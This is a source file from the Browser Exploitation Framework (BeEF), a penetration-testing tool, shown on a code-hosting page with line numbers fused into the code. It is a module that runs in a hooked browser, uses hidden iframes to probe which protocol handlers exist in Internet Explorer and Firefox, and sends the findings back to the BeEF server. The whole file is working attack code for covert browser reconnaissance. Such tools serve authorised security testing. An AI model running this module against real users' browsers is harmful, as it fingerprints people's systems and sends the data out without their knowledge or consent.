Path: blob/master/modules/host/detect_protocol_handlers/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {78// Initialize9var handler_results = new Array;10var handler_protocol = "<%= @handler_protocol %>".split(/\s*,\s*/);11var handler_addr = "<%= @handler_addr %>";12var iframe = beef.dom.createInvisibleIframe();1314// Internet Explorer15if (beef.browser.isIE()) {1617var protocol_link = document.createElement('a');18protocol_link.setAttribute('id', "protocol_link");19protocol_link.setAttribute('href', "");20iframe.contentWindow.document.appendChild(protocol_link);2122for (var i=0; i<handler_protocol.length; i++) {23var result = "";24var protocol = handler_protocol[i];25try {26var anchor = iframe.contentWindow.document.getElementById("protocol_link");27anchor.href = protocol+"://"+handler_addr;28if (anchor.protocolLong == "Unknown Protocol")29result = protocol + " unknown";30else result = protocol + " exists";31} catch(e) {32result = protocol + " does not exist";33}34handler_results.push(result);35}36iframe.contentWindow.document.removeChild(protocol_link);37}3839// Firefox40if (beef.browser.isFF()) {4142var protocol_iframe = document.createElement('iframe');43protocol_iframe.setAttribute('id', "protocol_iframe_<%= @command_id %>");44protocol_iframe.setAttribute('src', "");45protocol_iframe.setAttribute('style', "display:none;height:1px;width:1px;border:none");46document.body.appendChild(protocol_iframe);4748for (var i=0; i<handler_protocol.length; i++) {49var result = "";50var protocol = handler_protocol[i];51try {52document.getElementById('protocol_iframe_<%= @command_id %>').contentWindow.location = protocol+"://"+handler_addr;53} catch(e) {54if (e.name == "NS_ERROR_UNKNOWN_PROTOCOL")55result = protocol + " does not exist";56else result = protocol + " unknown";57}58if (!result) result = protocol + " exists";59handler_results.push(result);60}61setTimeout("document.body.removeChild(document.getElementById('protocol_iframe_<%= @command_id %>'));",3000);62}6364// Return results65beef.net.send('<%= @command_url %>', <%= @command_id %>, 'handlers='+JSON.stringify(handler_results));6667});68697071